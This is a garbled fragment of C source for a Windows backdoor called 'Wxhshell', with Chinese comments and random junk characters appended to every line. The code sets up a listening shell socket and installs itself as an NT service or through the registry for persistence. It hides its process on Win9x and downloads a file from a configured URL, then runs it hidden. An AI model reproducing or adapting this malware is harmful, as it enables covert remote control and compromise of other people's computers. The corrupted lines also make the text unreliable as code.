ULONG UniqueProcessId; RU#}!Kq
ULONG InheritedFromUniqueProcessId; &b>&XMIK
} PROCESS_BASIC_INFORMATION; Slo^tqbG
)AEtW[~D
PROCNTQSIP NtQueryInformationProcess; bGB$a0
>aVtYp B
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; @}PXBU
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; %yc-D]P/
34CcZEQQ
HANDLE hProcess; |3FGMg%
PROCESS_BASIC_INFORMATION pbi; 5'DY)s-K
BT}l"
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); a
Z)1S X`D
if(NULL == hInst ) return 0; CN` ~DD{
[&P@0Fn
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); vaQsG6q[
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); rF}Q(<Y86
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); U<F|A!Fg
6.tA$#6HP
if (!NtQueryInformationProcess) return 0; gT=pO`a
)sQ/$gJ
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); RIUJX{?
if(!hProcess) return 0; NKEmY-f;
wWx{#!W
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; "{+2Q
FS)#
v
CloseHandle(hProcess); t@R n#(~"
\7h>9}wGf
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 6d5J*y2
if(hProcess==NULL) return 0; RX{}
UmU<
+qpG$#J0
HMODULE hMod; J9;fqQCt
char procName[255]; du'`&{_/
unsigned long cbNeeded; ' A+L
#
PPy~dp
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName));
%nUN
y5*zyd
CloseHandle(hProcess); ]8"U)fzmc.
l -nH
if(strstr(procName,"services")) return 1; // 以服务启动 %${$P+a`D
8G$BQ
return 0; // 注册表启动 9iJ$M!
} Nw9:Gi
UpD4'!<buV
// 主模块 %t6-wWM97
int StartWxhshell(LPSTR lpCmdLine) `#W+pO
{ IYtiX
SOCKET wsl; F#L1~\7
BOOL val=TRUE; %2b^t*CQ
int port=0; )l!
/7WKY
struct sockaddr_in door; u^MRKLn
0#=xUk#LP`
if(wscfg.ws_autoins) Install(); dg~lz8 0
WC=d@d)M
port=atoi(lpCmdLine); Vh;|qF 9
vm;%713#1
if(port<=0) port=wscfg.ws_port; n8)&1
q?V
$nW9VMa
WSADATA data; ?Bq^#i|m
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 8 3/WWL }
LauGT* z!
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; 1MO-60
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ;!VxmZ:j[
door.sin_family = AF_INET; |.m)UFV
door.sin_addr.s_addr = inet_addr("127.0.0.1"); S:i#|T."
door.sin_port = htons(port); CLmo%"\s
a}FY^4hl+
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 4X/UyBk
closesocket(wsl); !&b|
[b
return 1; p/nATvh$
} o
o'7
djnES,^%9
if(listen(wsl,2) == INVALID_SOCKET) { #C.
closesocket(wsl); PCL
;Z
return 1; }ssja,;
} W 2[]m>;
Wxhshell(wsl); ^$%
Sg//
WSACleanup(); %x{kd8>u!
9M($_2,44
return 0; J;^ PM:6
P%Vq#5
} ))Z>$\<:
vR!g1gI23
// 以NT服务方式启动 Wq+GlB*
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) yZ[g2*1L
{ L~;(M6Jp
DWORD status = 0; eCsk\f`
DWORD specificError = 0xfffffff; O<V 4j,
RjvW*'2G
serviceStatus.dwServiceType = SERVICE_WIN32; vC@^B)5gb
serviceStatus.dwCurrentState = SERVICE_START_PENDING; JrY*K|YdW
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; \5! 7zPc
serviceStatus.dwWin32ExitCode = 0; b FajK;
serviceStatus.dwServiceSpecificExitCode = 0; \$.{*f
serviceStatus.dwCheckPoint = 0; =z"+)N
serviceStatus.dwWaitHint = 0; 1d FuoX
+e2:?d@
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); `?N0?;
if (hServiceStatusHandle==0) return; AnX<\7bc}
K.mxF,H
status = GetLastError(); M$Z2"F;
if (status!=NO_ERROR) 3BCD0
%8
{ #6ePwd
serviceStatus.dwCurrentState = SERVICE_STOPPED; _ pz}
serviceStatus.dwCheckPoint = 0; 9-{=m+|b
serviceStatus.dwWaitHint = 0; o.fqJfpj
serviceStatus.dwWin32ExitCode = status; m Rw0R{
serviceStatus.dwServiceSpecificExitCode = specificError; ~I+MuI[
SetServiceStatus(hServiceStatusHandle, &serviceStatus); s^eiym P
return; YcDKRyrt
} }kr?+)wB
;XawEG7" U
serviceStatus.dwCurrentState = SERVICE_RUNNING; EI 35&7(
serviceStatus.dwCheckPoint = 0; V+lF|CZb5
serviceStatus.dwWaitHint = 0; xIa7F$R 0
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); D 6y,Q
} Z#H<+S(
]"{8"+x
// 处理NT服务事件,比如:启动、停止 W +ER'lX
VOID WINAPI NTServiceHandler(DWORD fdwControl) jmkOu5@
{ dV'EiNpf
switch(fdwControl) *QiQ,~Ep
{ rfEWh
Vy(}
case SERVICE_CONTROL_STOP: f!#!
serviceStatus.dwWin32ExitCode = 0; %Rn*oV
serviceStatus.dwCurrentState = SERVICE_STOPPED; S=mqxIo@m
serviceStatus.dwCheckPoint = 0; m!%aB{e
serviceStatus.dwWaitHint = 0; thJ~*
0^
{ 6u+aP
SetServiceStatus(hServiceStatusHandle, &serviceStatus); \/Mx|7<
} eyyME c!
return; '{jr9Vh
case SERVICE_CONTROL_PAUSE: f2;.He
serviceStatus.dwCurrentState = SERVICE_PAUSED; _i+@HXR &
break; 8;DDCop 8L
case SERVICE_CONTROL_CONTINUE: MHK|\Z&e7
serviceStatus.dwCurrentState = SERVICE_RUNNING; y')OmR2h
break; ,u2Qkw
case SERVICE_CONTROL_INTERROGATE: PY^#hC5:
break; ^HJ?k:u
}; WrGnLE
kiV
SetServiceStatus(hServiceStatusHandle, &serviceStatus); g5@g_~ g
} GcdJf/k
_5-h\RB)
// 标准应用程序主函数 HTOr
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) &2`p#riAS
{ (\{k-2t*^
/qX?ca1_4^
// 获取操作系统版本 'V]&X.=zC
OsIsNt=GetOsVer(); "G K9Y
GetModuleFileName(NULL,ExeFile,MAX_PATH); ?FAI@4
RTm/-6[N
// 从命令行安装 9dhEQ=K{3
if(strpbrk(lpCmdLine,"iI")) Install(); 9VnBNuT
IQ
I8v
// 下载执行文件 T[bC Y 6
if(wscfg.ws_downexe) { ~_D.&-xUF
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ?@.v*'qR
WinExec(wscfg.ws_filenam,SW_HIDE); Jo\P,-\(
} h<Aq|*
ai/|qYf
if(!OsIsNt) { _?I{>:!|
// 如果时win9x,隐藏进程并且设置为注册表启动 cl%+m
HideProc(); V]p{jLG
StartWxhshell(lpCmdLine); ;KlYiu
} w*ans}P7
else g|>LT_
if(StartFromService()) sCFxn
// 以服务方式启动 i3,IEN
StartServiceCtrlDispatcher(DispatchTable); (aa2uctTn
else {rUg,y{v
// 普通方式启动 eluN~T:W
StartWxhshell(lpCmdLine); @&ZQDi
yWi-ic
[n
return 0; DW. w=L|5R
}